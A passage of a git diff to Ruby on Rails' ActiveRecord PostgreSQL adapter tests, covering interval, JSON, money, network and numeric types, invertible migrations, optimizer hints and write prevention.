+    assert_equal "P3Y",                i.default_term.iso8601
+    assert_equal %w[ P1M P1Y PT1H ],   i.all_terms.map(&:iso8601)
+    assert_equal "P33Y",               i.legacy_term
+  end
+
+  def test_interval_type_cast_from_invalid_string
+    i = IntervalDataType.create!(maximum_term: "1 year 2 minutes")
+    i.reload
+    assert_nil i.maximum_term
+  end
+
+  def test_interval_type_cast_from_numeric
+    i = IntervalDataType.create!(minimum_term: 36000)
+    i.reload
+    assert_equal "PT10H",  i.minimum_term.iso8601
+  end
+
+  def test_interval_type_cast_string_and_numeric_from_user
+    i = IntervalDataType.new(maximum_term: "P1YT2M", minimum_term: "PT10H", legacy_term: "P1DT1H")
+    assert i.maximum_term.is_a?(ActiveSupport::Duration)
+    assert i.legacy_term.is_a?(String)
+    assert_equal "P1YT2M", i.maximum_term.iso8601
+    assert_equal "PT10H",  i.minimum_term.iso8601
+    assert_equal "P1DT1H", i.legacy_term
+  end
+
+  def test_average_interval_type
+    IntervalDataType.create!([{ maximum_term: 6.years }, { maximum_term: 4.months }])
+    value = IntervalDataType.average(:maximum_term)
+
+    assert_equal 3.years + 2.months, value
+    assert_instance_of ActiveSupport::Duration, value
+  end
+
+  def test_schema_dump_with_default_value
+    output = dump_table_schema "interval_data_types"
+    assert_match %r{t\.interval "default_term", default: "P3Y"}, output
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/invertible_migration_test.rb b/activerecord/test/cases/adapters/postgresql/invertible_migration_test.rb
new file mode 100644
index 0000000000000..50d7b9425de37
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/invertible_migration_test.rb
@@ -0,0 +1,139 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class PostgresqlInvertibleMigrationTest < ActiveRecord::PostgreSQLTestCase
+  class SilentMigration < ActiveRecord::Migration::Current
+    def write(*); end
+  end
+
+  class ExpressionIndexMigration < SilentMigration
+    def change
+      create_table("settings") do |t|
+        t.column :data, :jsonb
+      end
+
+      add_index :settings,
+                "(data->'foo')",
+                using: :gin,
+                name: "index_settings_data_foo"
+    end
+  end
+
+  class CreateEnumMigration < SilentMigration
+    def change
+      create_enum :color, ["blue", "green"]
+      create_table :enums do |t|
+        t.enum :best_color, enum_type: "color", default: "blue", null: false
+      end
+    end
+  end
+
+  class DropEnumMigration < SilentMigration
+    def change
+      drop_enum :color, ["blue", "green"], if_exists: true
+    end
+  end
+
+  class RenameEnumValueMigration < SilentMigration
+    def change
+      rename_enum_value :color, from: "blue", to: "red"
+    end
+  end
+
+  class AddAndValidateCheckConstraint < SilentMigration
+    def change
+      add_check_constraint :settings, "value >= 0", name: "positive_value", validate: false
+      validate_check_constraint :settings, name: "positive_value"
+    end
+  end
+
+  class AddAndValidateForeignKey < SilentMigration
+    def change
+      add_foreign_key :bars, :foos, validate: false
+      validate_foreign_key :bars, :foos
+    end
+  end
+
+  setup do
+    @connection = ActiveRecord::Base.lease_connection
+  end
+
+  teardown do
+    @connection.drop_table "settings", if_exists: true
+    @connection.drop_table "enums", if_exists: true
+    @connection.drop_table "bars", if_exists: true
+    @connection.drop_table "foos", if_exists: true
+    @connection.drop_enum "color", if_exists: true
+  end
+
+  def test_migrate_revert_add_index_with_expression
+    ExpressionIndexMigration.new.migrate(:up)
+
+    assert @connection.table_exists?(:settings)
+    assert @connection.index_exists?(:settings, nil, name: "index_settings_data_foo"),
+           "index on index_settings_data_foo should exist"
+
+    ExpressionIndexMigration.new.migrate(:down)
+
+    assert_not @connection.table_exists?(:settings)
+    assert_not @connection.index_exists?(:settings, nil, name: "index_settings_data_foo"),
+               "index index_settings_data_foo should not exist"
+  end
+
+  def test_migrate_revert_create_enum
+    CreateEnumMigration.new.migrate(:up)
+
+    assert @connection.column_exists?(:enums, :best_color, sql_type: "color", default: "blue", null: false)
+    assert_equal [["color", ["blue", "green"]]], @connection.enum_types
+
+    CreateEnumMigration.new.migrate(:down)
+
+    assert_not @connection.table_exists?(:enums)
+    assert_equal [], @connection.enum_types
+  end
+
+  def test_migrate_revert_drop_enum
+    assert_equal [], @connection.enum_types
+
+    assert_nothing_raised { DropEnumMigration.new.migrate(:up) }
+    assert_equal [], @connection.enum_types
+
+    DropEnumMigration.new.migrate(:down)
+    assert_equal [["color", ["blue", "green"]]], @connection.enum_types
+  end
+
+  def test_migrate_revert_rename_enum_value
+    CreateEnumMigration.new.migrate(:up)
+    assert_equal [["color", ["blue", "green"]]], @connection.enum_types
+
+    RenameEnumValueMigration.new.migrate(:up)
+    assert_equal [["color", ["red", "green"]]], @connection.enum_types
+
+    RenameEnumValueMigration.new.migrate(:down)
+    assert_equal [["color", ["blue", "green"]]], @connection.enum_types
+  end
+
+  def test_migrate_revert_add_and_validate_check_constraint
+    @connection.create_table(:settings) do |t|
+      t.integer :value
+    end
+
+    AddAndValidateCheckConstraint.new.migrate(:up)
+    assert @connection.check_constraint_exists?(:settings, name: "positive_value")
+    AddAndValidateCheckConstraint.new.migrate(:down)
+    assert_not @connection.check_constraint_exists?(:settings, name: "positive_value")
+  end
+
+  def test_migrate_revert_add_and_validate_foreign_key
+    @connection.create_table(:foos)
+    @connection.create_table(:bars) do |t|
+      t.integer :foo_id
+    end
+
+    AddAndValidateForeignKey.new.migrate(:up)
+    assert @connection.foreign_key_exists?(:bars, :foos)
+    AddAndValidateForeignKey.new.migrate(:down)
+    assert_not @connection.foreign_key_exists?(:bars, :foos)
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/json_test.rb b/activerecord/test/cases/adapters/postgresql/json_test.rb
index 93558ac4d294f..e2067e8d8d69e 100644
--- a/activerecord/test/cases/adapters/postgresql/json_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/json_test.rb
@@ -1,212 +1,47 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "support/schema_dumping_helper"
+require "cases/json_shared_test_cases"
 
 module PostgresqlJSONSharedTestCases
-  include SchemaDumpingHelper
-
-  class JsonDataType < ActiveRecord::Base
-    self.table_name = "json_data_type"
-
-    store_accessor :settings, :resolution
-  end
+  include JSONSharedTestCases
 
   def setup
-    @connection = ActiveRecord::Base.connection
-    begin
-      @connection.create_table("json_data_type") do |t|
-        t.public_send column_type, "payload", default: {} # t.json 'payload', default: {}
-        t.public_send column_type, "settings"             # t.json 'settings'
-      end
-    rescue ActiveRecord::StatementInvalid
-      skip "do not test on PostgreSQL without #{column_type} type."
+    super
+    @connection.create_table("json_data_type") do |t|
+      t.public_send column_type, "payload", default: {} # t.json 'payload', default: {}
+      t.public_send column_type, "with_defaults", default: { list: [] }
+      t.public_send column_type, "settings"             # t.json 'settings'
+      t.public_send column_type, "objects", array: true # t.json 'objects', array: true
     end
-  end
-
-  def teardown
-    @connection.drop_table :json_data_type, if_exists: true
-    JsonDataType.reset_column_information
-  end
-
-  def test_column
-    column = JsonDataType.columns_hash["payload"]
-    assert_equal column_type, column.type
-    assert_equal column_type.to_s, column.sql_type
-    assert_not column.array?
-
-    type = JsonDataType.type_for_attribute("payload")
-    assert_not type.binary?
+  rescue ActiveRecord::StatementInvalid
+    skip "do not test on PostgreSQL without #{column_type} type."
   end
 
   def test_default
     @connection.add_column "json_data_type", "permissions", column_type, default: { "users": "read", "posts": ["read", "write"] }
-    JsonDataType.reset_column_information
-
-    assert_equal({ "users" => "read", "posts" => ["read", "write"] }, JsonDataType.column_defaults["permissions"])
-    assert_equal({ "users" => "read", "posts" => ["read", "write"] }, JsonDataType.new.permissions)
-  ensure
-    JsonDataType.reset_column_information
-  end
-
-  def test_change_table_supports_json
-    @connection.transaction do
-      @connection.change_table("json_data_type") do |t|
-        t.public_send column_type, "users", default: "{}" # t.json 'users', default: '{}'
-      end
-      JsonDataType.reset_column_information
-      column = JsonDataType.columns_hash["users"]
-      assert_equal column_type, column.type
-
-      raise ActiveRecord::Rollback # reset the schema change
-    end
-  ensure
-    JsonDataType.reset_column_information
-  end
-
-  def test_schema_dumping
-    output = dump_table_schema("json_data_type")
-    assert_match(/t\.#{column_type.to_s}\s+"payload",\s+default: {}/, output)
-  end
-
-  def test_cast_value_on_write
-    x = JsonDataType.new payload: { "string" => "foo", :symbol => :bar }
-    assert_equal({ "string" => "foo", :symbol => :bar }, x.payload_before_type_cast)
-    assert_equal({ "string" => "foo", "symbol" => "bar" }, x.payload)
-    x.save
-    assert_equal({ "string" => "foo", "symbol" => "bar" }, x.reload.payload)
-  end
-
-  def test_type_cast_json
-    type = JsonDataType.type_for_attribute("payload")
-
-    data = "{\"a_key\":\"a_value\"}"
-    hash = type.deserialize(data)
-    assert_equal({ "a_key" => "a_value" }, hash)
-    assert_equal({ "a_key" => "a_value" }, type.deserialize(data))
-
-    assert_equal({}, type.deserialize("{}"))
-    assert_equal({ "key" => nil }, type.deserialize('{"key": null}'))
-    assert_equal({ "c" => "}", '"a"' => 'b "a b' }, type.deserialize(%q({"c":"}", "\"a\"":"b \"a b"})))
-  end
-
-  def test_rewrite
-    @connection.execute "insert into json_data_type (payload) VALUES ('{\"k\":\"v\"}')"
-    x = JsonDataType.first
-    x.payload = { '"a\'' => "b" }
-    assert x.save!
-  end
-
-  def test_select
-    @connection.execute "insert into json_data_type (payload) VALUES ('{\"k\":\"v\"}')"
-    x = JsonDataType.first
-    assert_equal({ "k" => "v" }, x.payload)
-  end
-
-  def test_select_multikey
-    @connection.execute %q|insert into json_data_type (payload) VALUES ('{"k1":"v1", "k2":"v2", "k3":[1,2,3]}')|
-    x = JsonDataType.first
-    assert_equal({ "k1" => "v1", "k2" => "v2", "k3" => [1, 2, 3] }, x.payload)
-  end
+    klass.reset_column_information
 
-  def test_null_json
-    @connection.execute "insert into json_data_type (payload) VALUES(null)"
-    x = JsonDataType.first
-    assert_nil(x.payload)
+    assert_equal({ "users" => "read", "posts" => ["read", "write"] }, klass.column_defaults["permissions"])
+    assert_equal({ "users" => "read", "posts" => ["read", "write"] }, klass.new.permissions)
   end
 
-  def test_select_nil_json_after_create
-    json = JsonDataType.create(payload: nil)
-    x = JsonDataType.where(payload: nil).first
-    assert_equal(json, x)
+  def test_default_before_type_cast
+    assert_equal '{"list":[]}', klass.new.with_defaults_before_type_cast.gsub(" ", "")
   end
 
-  def test_select_nil_json_after_update
-    json = JsonDataType.create(payload: "foo")
-    x = JsonDataType.where(payload: nil).first
-    assert_nil(x)
-
-    json.update_attributes payload: nil
-    x = JsonDataType.where(payload: nil).first
-    assert_equal(json.reload, x)
-  end
-
-  def test_select_array_json_value
-    @connection.execute %q|insert into json_data_type (payload) VALUES ('["v0",{"k1":"v1"}]')|
-    x = JsonDataType.first
-    assert_equal(["v0", { "k1" => "v1" }], x.payload)
-  end
-
-  def test_rewrite_array_json_value
-    @connection.execute %q|insert into json_data_type (payload) VALUES ('["v0",{"k1":"v1"}]')|
-    x = JsonDataType.first
-    x.payload = ["v1", { "k2" => "v2" }, "v3"]
-    assert x.save!
-  end
-
-  def test_with_store_accessors
-    x = JsonDataType.new(resolution: "320×480")
-    assert_equal "320×480", x.resolution
-
-    x.save!
-    x = JsonDataType.first
-    assert_equal "320×480", x.resolution
-
-    x.resolution = "640×1136"
+  def test_deserialize_with_array
+    x = klass.new(objects: ["foo" => "bar"])
+    assert_equal ["foo" => "bar"], x.objects
     x.save!
-
-    x = JsonDataType.first
-    assert_equal "640×1136", x.resolution
-  end
-
-  def test_duplication_with_store_accessors
-    x = JsonDataType.new(resolution: "320×480")
-    assert_equal "320×480", x.resolution
-
-    y = x.dup
-    assert_equal "320×480", y.resolution
-  end
-
-  def test_yaml_round_trip_with_store_accessors
-    x = JsonDataType.new(resolution: "320×480")
-    assert_equal "320×480", x.resolution
-
-    y = YAML.load(YAML.dump(x))
-    assert_equal "320×480", y.resolution
-  end
-
-  def test_changes_in_place
-    json = JsonDataType.new
-    assert_not json.changed?
-
-    json.payload = { "one" => "two" }
-    assert json.changed?
-    assert json.payload_changed?
-
-    json.save!
-    assert_not json.changed?
-
-    json.payload["three"] = "four"
-    assert json.payload_changed?
-
-    json.save!
-    json.reload
-
-    assert_equal({ "one" => "two", "three" => "four" }, json.payload)
-    assert_not json.changed?
-  end
-
-  def test_assigning_string_literal
-    json = JsonDataType.create(payload: "foo")
-    assert_equal "foo", json.payload
-  end
-
-  def test_assigning_number
-    json = JsonDataType.create(payload: 1.234)
-    assert_equal 1.234, json.payload
+    assert_equal ["foo" => "bar"], x.objects
+    x.reload
+    assert_equal ["foo" => "bar"], x.objects
   end
 
-  def test_assigning_boolean
-    json = JsonDataType.create(payload: true)
-    assert_equal true, json.payload
+  def test_noname_columns_of_different_types
+    @connection.execute(insert_statement_per_database('{"a":{},"b":"b"}'))
+    assert_equal [[{}, "b"]], klass.pluck(Arel.sql("payload->'a', payload->>'b'"))
   end
 end
 
diff --git a/activerecord/test/cases/adapters/postgresql/ltree_test.rb b/activerecord/test/cases/adapters/postgresql/ltree_test.rb
index 2b5ac1cac664c..f1639c7f4368a 100644
--- a/activerecord/test/cases/adapters/postgresql/ltree_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/ltree_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/schema_dumping_helper"
 
@@ -8,17 +10,13 @@ class Ltree < ActiveRecord::Base
   end
 
   def setup
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
 
     enable_extension!("ltree", @connection)
 
-    @connection.transaction do
-      @connection.create_table("ltrees") do |t|
-        t.ltree "path"
-      end
+    @connection.create_table("ltrees") do |t|
+      t.ltree "path"
     end
-  rescue ActiveRecord::StatementInvalid
-    skip "do not test on PG without ltree"
   end
 
   teardown do
@@ -29,10 +27,10 @@ def test_column
     column = Ltree.columns_hash["path"]
     assert_equal :ltree, column.type
     assert_equal "ltree", column.sql_type
-    assert_not column.array?
+    assert_not_predicate column, :array?
 
     type = Ltree.type_for_attribute("path")
-    assert_not type.binary?
+    assert_not_predicate type, :binary?
   end
 
   def test_write
diff --git a/activerecord/test/cases/adapters/postgresql/money_test.rb b/activerecord/test/cases/adapters/postgresql/money_test.rb
index 1b5d8362af117..2c17b3baa8767 100644
--- a/activerecord/test/cases/adapters/postgresql/money_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/money_test.rb
@@ -1,13 +1,18 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/schema_dumping_helper"
 
 class PostgresqlMoneyTest < ActiveRecord::PostgreSQLTestCase
   include SchemaDumpingHelper
 
-  class PostgresqlMoney < ActiveRecord::Base; end
+  class PostgresqlMoney < ActiveRecord::Base
+    validates :depth, numericality: true
+  end
 
-  setup do
-    @connection = ActiveRecord::Base.connection
+  def setup
+    super
+    @connection = ActiveRecord::Base.lease_connection
     @connection.execute("set lc_monetary = 'C'")
     @connection.create_table("postgresql_moneys", force: true) do |t|
       t.money "wealth"
@@ -15,8 +20,9 @@ class PostgresqlMoney < ActiveRecord::Base; end
     end
   end
 
-  teardown do
+  def teardown
     @connection.drop_table "postgresql_moneys", if_exists: true
+    super
   end
 
   def test_column
@@ -24,15 +30,16 @@ def test_column
     assert_equal :money, column.type
     assert_equal "money", column.sql_type
     assert_equal 2, column.scale
-    assert_not column.array?
+    assert_not_predicate column, :array?
 
     type = PostgresqlMoney.type_for_attribute("wealth")
-    assert_not type.binary?
+    assert_not_predicate type, :binary?
   end
 
   def test_default
-    assert_equal BigDecimal.new("150.55"), PostgresqlMoney.column_defaults["depth"]
-    assert_equal BigDecimal.new("150.55"), PostgresqlMoney.new.depth
+    assert_equal BigDecimal("150.55"), PostgresqlMoney.column_defaults["depth"]
+    assert_equal BigDecimal("150.55"), PostgresqlMoney.new.depth
+    assert_equal BigDecimal("150.55"), PostgresqlMoney.new.depth_before_type_cast
   end
 
   def test_money_values
@@ -43,14 +50,48 @@ def test_money_values
     second_money = PostgresqlMoney.find(2)
     assert_equal 567.89, first_money.wealth
     assert_equal(-567.89, second_money.wealth)
+    assert_equal 567.89, @connection.query_value("SELECT wealth FROM postgresql_moneys WHERE id = 1", nil)
+    assert_equal(-567.89, @connection.query_value("SELECT wealth FROM postgresql_moneys WHERE id = 2", nil))
   end
 
   def test_money_type_cast
     type = PostgresqlMoney.type_for_attribute("wealth")
-    assert_equal(12345678.12, type.cast("$12,345,678.12"))
-    assert_equal(12345678.12, type.cast("$12.345.678,12"))
-    assert_equal(-1.15, type.cast("-$1.15"))
-    assert_equal(-2.25, type.cast("($2.25)"))
+
+    {
+      "12,345,678.12" => 12345678.12,
+      "12.345.678,12" => 12345678.12,
+      "0.12" => 0.12,
+      "0,12" => 0.12,
+    }.each do |string, number|
+      assert_equal number, type.cast(string)
+      assert_equal number, type.cast("$#{string}")
+
+      assert_equal(-number, type.cast("-#{string}"))
+      assert_equal(-number, type.cast("-$#{string}"))
+
+      assert_equal(-number, type.cast("(#{string})"))
+      assert_equal(-number, type.cast("($#{string})"))
+    end
+  end
+
+  def test_money_regex_backtracking
+    type = PostgresqlMoney.type_for_attribute("wealth")
+    Timeout.timeout(0.1) do
+      assert_equal(0.0, type.cast("$" + "," * 100000 + ".11!"))
+      assert_equal(0.0, type.cast("$" + "." * 100000 + ",11!"))
+    end
+  end
+
+  def test_sum_with_type_cast
+    @connection.execute("INSERT INTO postgresql_moneys (id, wealth) VALUES (1, '123.45'::money)")
+
+    assert_equal BigDecimal("123.45"), PostgresqlMoney.sum("id * wealth")
+  end
+
+  def test_pluck_with_type_cast
+    @connection.execute("INSERT INTO postgresql_moneys (id, wealth) VALUES (1, '123.45'::money)")
+
+    assert_equal [BigDecimal("123.45")], PostgresqlMoney.pluck(Arel.sql("id * wealth"))
   end
 
   def test_schema_dumping
@@ -60,10 +101,10 @@ def test_schema_dumping
   end
 
   def test_create_and_update_money
-    money = PostgresqlMoney.create(wealth: "987.65")
+    money = PostgresqlMoney.create(wealth: +"987.65")
     assert_equal 987.65, money.wealth
 
-    new_value = BigDecimal.new("123.45")
+    new_value = BigDecimal("123.45")
     money.wealth = new_value
     money.save!
     money.reload
diff --git a/activerecord/test/cases/adapters/postgresql/money_with_decoder_test.rb b/activerecord/test/cases/adapters/postgresql/money_with_decoder_test.rb
new file mode 100644
index 0000000000000..5fbbf69b7b1d1
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/money_with_decoder_test.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+require "cases/adapters/postgresql/money_test"
+
+class PostgresqlMoneyWithDecoderTest < PostgresqlMoneyTest
+  def setup
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.decode_money = true
+    ActiveRecord::Base.connection_pool.disconnect!
+    super
+  end
+
+  def teardown
+    super
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.decode_money = false
+    ActiveRecord::Base.connection_pool.disconnect!
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/network_test.rb b/activerecord/test/cases/adapters/postgresql/network_test.rb
index a33b0ef8a7a7d..937ade1ab700d 100644
--- a/activerecord/test/cases/adapters/postgresql/network_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/network_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/schema_dumping_helper"
 
@@ -6,7 +8,7 @@ class PostgresqlNetworkTest < ActiveRecord::PostgreSQLTestCase
   class PostgresqlNetworkAddress < ActiveRecord::Base; end
 
   setup do
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.create_table("postgresql_network_addresses", force: true) do |t|
       t.inet "inet_address", default: "192.168.1.1"
       t.cidr "cidr_address", default: "192.168.1.0/24"
@@ -22,30 +24,30 @@ def test_cidr_column
     column = PostgresqlNetworkAddress.columns_hash["cidr_address"]
     assert_equal :cidr, column.type
     assert_equal "cidr", column.sql_type
-    assert_not column.array?
+    assert_not_predicate column, :array?
 
     type = PostgresqlNetworkAddress.type_for_attribute("cidr_address")
-    assert_not type.binary?
+    assert_not_predicate type, :binary?
   end
 
   def test_inet_column
     column = PostgresqlNetworkAddress.columns_hash["inet_address"]
     assert_equal :inet, column.type
     assert_equal "inet", column.sql_type
-    assert_not column.array?
+    assert_not_predicate column, :array?
 
     type = PostgresqlNetworkAddress.type_for_attribute("inet_address")
-    assert_not type.binary?
+    assert_not_predicate type, :binary?
   end
 
   def test_macaddr_column
     column = PostgresqlNetworkAddress.columns_hash["mac_address"]
     assert_equal :macaddr, column.type
     assert_equal "macaddr", column.sql_type
-    assert_not column.array?
+    assert_not_predicate column, :array?
 
     type = PostgresqlNetworkAddress.type_for_attribute("mac_address")
-    assert_not type.binary?
+    assert_not_predicate type, :binary?
   end
 
   def test_network_types
@@ -91,4 +93,22 @@ def test_schema_dump_with_shorthand
     assert_match %r{t\.cidr\s+"cidr_address",\s+default: "192\.168\.1\.0/24"}, output
     assert_match %r{t\.macaddr\s+"mac_address",\s+default: "ff:ff:ff:ff:ff:ff"}, output
   end
+
+  def test_cidr_change_prefix
+    model = PostgresqlNetworkAddress.create(cidr_address: "192.168.1.0/24")
+    model.cidr_address = "192.168.1.0/24"
+    assert_not_predicate model, :changed?
+
+    model.cidr_address = "192.168.2.0/24"
+    assert_predicate model, :changed?
+
+    model.cidr_address = "192.168.1.0/25"
+    assert_predicate model, :changed?
+  end
+
+  def test_mac_address_change_case_does_not_mark_dirty
+    model = PostgresqlNetworkAddress.create(mac_address: "Ab:Cd:Ef:01:02:03")
+    model.mac_address = model.mac_address.swapcase
+    assert_not_predicate model, :changed?
+  end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/numbers_test.rb b/activerecord/test/cases/adapters/postgresql/numbers_test.rb
index bfb2b7c27abcb..785ae7988dd52 100644
--- a/activerecord/test/cases/adapters/postgresql/numbers_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/numbers_test.rb
@@ -1,10 +1,12 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class PostgresqlNumberTest < ActiveRecord::PostgreSQLTestCase
   class PostgresqlNumber < ActiveRecord::Base; end
 
   setup do
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.create_table("postgresql_numbers", force: true) do |t|
       t.column "single", "REAL"
       t.column "double", "DOUBLE PRECISION"
@@ -31,7 +33,7 @@ def test_values
     assert_equal 123456.789, first.double
     assert_equal(-::Float::INFINITY, second.single)
     assert_equal ::Float::INFINITY, second.double
-    assert third.double.nan?, "Expected #{third.double} to be NaN"
+    assert_predicate third.double, :nan?, "Expected #{third.double} to be NaN"
   end
 
   def test_update
@@ -46,4 +48,20 @@ def test_update
     assert_equal new_single, record.single
     assert_equal new_double, record.double
   end
+
+  def test_reassigning_infinity_does_not_mark_record_as_changed
+    record = PostgresqlNumber.create!(single: Float::INFINITY, double: -Float::INFINITY)
+    record.reload
+    record.single = Float::INFINITY
+    record.double = -Float::INFINITY
+    assert_not_predicate record, :changed?
+  end
+
+  def test_reassigning_nan_does_not_mark_record_as_changed
+    record = PostgresqlNumber.create!(single: Float::NAN, double: Float::NAN)
+    record.reload
+    record.single = Float::NAN
+    record.double = Float::NAN
+    assert_not_predicate record, :changed?
+  end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/optimizer_hints_test.rb b/activerecord/test/cases/adapters/postgresql/optimizer_hints_test.rb
new file mode 100644
index 0000000000000..b9ce87275d702
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/optimizer_hints_test.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+
+class PostgresqlOptimizerHintsTest < ActiveRecord::PostgreSQLTestCase
+  if supports_optimizer_hints?
+    fixtures :posts
+
+    def setup
+      enable_extension!("pg_hint_plan", ActiveRecord::Base.lease_connection)
+    end
+
+    def test_optimizer_hints
+      assert_queries_match(%r{\ASELECT /\*\+ SeqScan\(posts\) \*/}) do
+        posts = Post.optimizer_hints("SeqScan(posts)")
+        posts = posts.select(:id).where(author_id: [0, 1])
+        assert_includes posts.explain, "Seq Scan on posts"
+      end
+    end
+
+    def test_optimizer_hints_with_count_subquery
+      assert_queries_match(%r{\ASELECT /\*\+ SeqScan\(posts\) \*/}) do
+        posts = Post.optimizer_hints("SeqScan(posts)")
+        posts = posts.select(:id).where(author_id: [0, 1]).limit(5)
+        assert_equal 5, posts.count
+      end
+    end
+
+    def test_optimizer_hints_is_sanitized
+      assert_queries_match(%r{\ASELECT /\*\+ SeqScan\(posts\) \*/}) do
+        posts = Post.optimizer_hints("/*+ SeqScan(posts) */")
+        posts = posts.select(:id).where(author_id: [0, 1])
+        assert_includes posts.explain, "Seq Scan on posts"
+      end
+
+      assert_queries_match(%r{\ASELECT /\*\+  "posts"\.\*,  \*/}) do
+        posts = Post.optimizer_hints("**// \"posts\".*, //**")
+        posts = posts.select(:id).where(author_id: [0, 1])
+        assert_equal({ "id" => 1 }, posts.first.as_json)
+      end
+    end
+
+    def test_optimizer_hints_with_unscope
+      assert_queries_match(%r{\ASELECT "posts"\."id"}) do
+        posts = Post.optimizer_hints("/*+ SeqScan(posts) */")
+        posts = posts.select(:id).where(author_id: [0, 1])
+        posts.unscope(:optimizer_hints).load
+      end
+    end
+
+    def test_optimizer_hints_with_or
+      assert_queries_match(%r{\ASELECT /\*\+ SeqScan\(posts\) \*/}) do
+        Post.optimizer_hints("SeqScan(posts)").or(Post.all).load
+      end
+
+      queries = capture_sql do
+        Post.optimizer_hints("SeqScan(posts)").or(Post.optimizer_hints("IndexScan(posts)")).load
+      end
+      assert_equal 1, queries.length
+      assert_includes queries.first, "/*+ SeqScan(posts) */"
+      assert_not_includes queries.first, "/*+ IndexScan(posts) */"
+
+      queries = capture_sql do
+        Post.all.or(Post.optimizer_hints("IndexScan(posts)")).load
+      end
+      assert_equal 1, queries.length
+      assert_not_includes queries.first, "/*+ IndexScan(posts) */"
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/partitions_test.rb b/activerecord/test/cases/adapters/postgresql/partitions_test.rb
new file mode 100644
index 0000000000000..53e943b8e5dbc
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/partitions_test.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class PostgreSQLPartitionsTest < ActiveRecord::PostgreSQLTestCase
+  def setup
+    @previous_unlogged_tables = ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables
+    @connection = ActiveRecord::Base.lease_connection
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables = false
+  end
+
+  def teardown
+    @connection.drop_table "partitioned_events", if_exists: true
+    ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables = @previous_unlogged_tables
+  end
+
+  def test_partitions_table_exists
+    skip unless ActiveRecord::Base.lease_connection.database_version >= 100000
+    @connection.create_table :partitioned_events, force: true, id: false,
+      options: "partition by range (issued_at)" do |t|
+      t.timestamp :issued_at
+    end
+    assert @connection.table_exists?("partitioned_events")
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/postgresql_adapter_prevent_writes_test.rb b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_prevent_writes_test.rb
new file mode 100644
index 0000000000000..0bd69db7fa538
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_prevent_writes_test.rb
@@ -0,0 +1,102 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/ddl_helper"
+require "support/connection_helper"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class PostgreSQLAdapterPreventWritesTest < ActiveRecord::PostgreSQLTestCase
+      include DdlHelper
+      include ConnectionHelper
+
+      def setup
+        @connection = ActiveRecord::Base.lease_connection
+      end
+
+      def test_errors_when_an_insert_query_is_called_while_preventing_writes
+        with_example_table do
+          ActiveRecord::Base.while_preventing_writes do
+            assert_raises(ActiveRecord::ReadOnlyError) do
+              @connection.execute("INSERT INTO ex (data) VALUES ('138853948594')")
+            end
+          end
+        end
+      end
+
+      def test_errors_when_an_update_query_is_called_while_preventing_writes
+        with_example_table do
+          @connection.execute("INSERT INTO ex (data) VALUES ('138853948594')")
+
+          ActiveRecord::Base.while_preventing_writes do
+            assert_raises(ActiveRecord::ReadOnlyError) do
+              @connection.execute("UPDATE ex SET data = '9989' WHERE data = '138853948594'")
+            end
+          end
+        end
+      end
+
+      def test_errors_when_a_delete_query_is_called_while_preventing_writes
+        with_example_table do
+          @connection.execute("INSERT INTO ex (data) VALUES ('138853948594')")
+
+          ActiveRecord::Base.while_preventing_writes do
+            assert_raises(ActiveRecord::ReadOnlyError) do
+              @connection.execute("DELETE FROM ex where data = '138853948594'")
+            end
+          end
+        end
+      end
+
+      def test_doesnt_error_when_a_select_query_is_called_while_preventing_writes
+        with_example_table do
+          @connection.execute("INSERT INTO ex (data) VALUES ('138853948594')")
+
+          ActiveRecord::Base.while_preventing_writes do
+            assert_equal 1, @connection.execute("SELECT * FROM ex WHERE data = '138853948594'").entries.count
+          end
+        end
+      end
+
+      def test_doesnt_error_when_a_show_query_is_called_while_preventing_writes
+        ActiveRecord::Base.while_preventing_writes do
+          assert_equal 1, @connection.execute("SHOW TIME ZONE").entries.count
+        end
+      end
+
+      def test_doesnt_error_when_a_set_query_is_called_while_preventing_writes
+        ActiveRecord::Base.while_preventing_writes do
+          assert_equal [], @connection.execute("SET standard_conforming_strings = on").entries
+        end
+      end
+
+      def test_doesnt_error_when_a_read_query_with_leading_chars_is_called_while_preventing_writes
+        with_example_table do
+          @connection.execute("INSERT INTO ex (data) VALUES ('138853948594')")
+
+          ActiveRecord::Base.while_preventing_writes do
+            assert_equal 1, @connection.execute("/*action:index*/(\n( SELECT * FROM ex WHERE data = '138853948594' ) )").entries.count
+          end
+        end
+      end
+
